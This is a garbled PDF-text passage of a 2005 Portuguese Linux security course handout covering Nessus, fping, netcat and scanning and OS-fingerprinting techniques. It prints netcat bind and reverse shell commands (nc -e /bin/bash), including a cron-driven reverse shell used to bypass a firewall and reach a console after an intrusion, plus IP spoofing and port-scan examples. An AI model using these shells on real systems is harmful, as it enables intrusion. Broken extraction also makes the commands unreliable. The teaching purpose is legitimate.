vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 36: Curso de segurança em linux e redes em geral

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela 